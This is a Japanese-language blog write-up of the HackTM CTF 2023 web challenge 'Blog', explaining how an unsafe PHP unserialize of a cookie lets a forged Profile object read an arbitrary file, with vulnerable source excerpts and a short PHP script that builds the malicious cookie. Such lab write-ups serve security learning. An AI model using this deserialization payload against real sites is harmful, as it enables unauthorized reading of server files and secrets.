はまやんはまやんはまやん

hamayanhamayan's blog

HackTM CTF 2023 Writeup

[web] Blog

フラグは/02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txtにあり、LFIをするのが最終目標。

まず、目を引くのがindex.phpの以下の部分。
$user = unserialize(base64_decode($_COOKIE["user"]));
明らかにバッドプラクティスであり、Unsafe Deserializationを利用することで任意のUserクラスのインスタンスを生成可能である。

どのようなインスタンスを作ればLFIできるだろうかというのを考えると、util.phpのProfileクラスに
$picture = base64_encode(file_get_contents($this->picture_path));
というのがある。
Userクラスのget_profileメソッドを使えば呼び出すことができ、$this->picture_pathはUnsafe Deserializationで差し込みが可能。

ソースコードベースで関係ある部分を残すと以下のような感じ。

...
class User {
    public $profile;
    public $posts = array();

    ...

    // get user profile
    public function get_profile() {
        // some dev apparently mixed up user and profile... 
        // so this check prevents any more errors
        if ($this->profile instanceof User) {
            return "@i_use_vscode please fix your code";
        } else {
            // quite unnecessary to assign to a variable imho
            $profile_string = "
            <div>{$this->profile}</div>
            ";
            return $profile_string;
        }
    }

    ...
}

class Profile {
    public $username;
    public $picture_path = "images/real_programmers.png";

    ...

    public function __toString() {
        if (gettype($this->picture_path) !== "string") {        
            return "";
        }

        $picture = base64_encode(file_get_contents($this->picture_path));

        // check if user exists
        $conn = new Conn;
        $conn->queries = array(new Query(
            "select id from users where username = :username",
            array(":username" => $this->username)
        ));
        $result = $conn();
        if ($result[0] === false || $result[0]->fetchArray() === false) {
            return "<script>window.location = '/login.php'</script>";
        } else {
            return "
            <div class='card'>
                <img class='card-img-top profile-pic' src='data:image/png;base64,{$picture}'> 
                <div class='card-body'>
                    <h3 class='card-title'>{$this->username}</h3>
                </div>
            </div>
            ";
        }
    }
}

よって、Cookie$user->profile->picture_path = '/02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txt';となるようなpayloadを流し込んでやれば、base64で指定のファイルが出力されてくる。 適当にユーザーを作ってCookieを発行してもらい、以下のように改変してCookieを差し替えると、base64エンコードされたフラグが出てくる。

<?php

class User {
    // Userクラスの全体
}

class Profile {
    // Profileクラスの全体
}

$x = '[適当に作ったユーザーのCookie]';
$user = unserialize(base64_decode($x));
$user->profile->picture_path = '/02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txt';
echo base64_encode(serialize($user));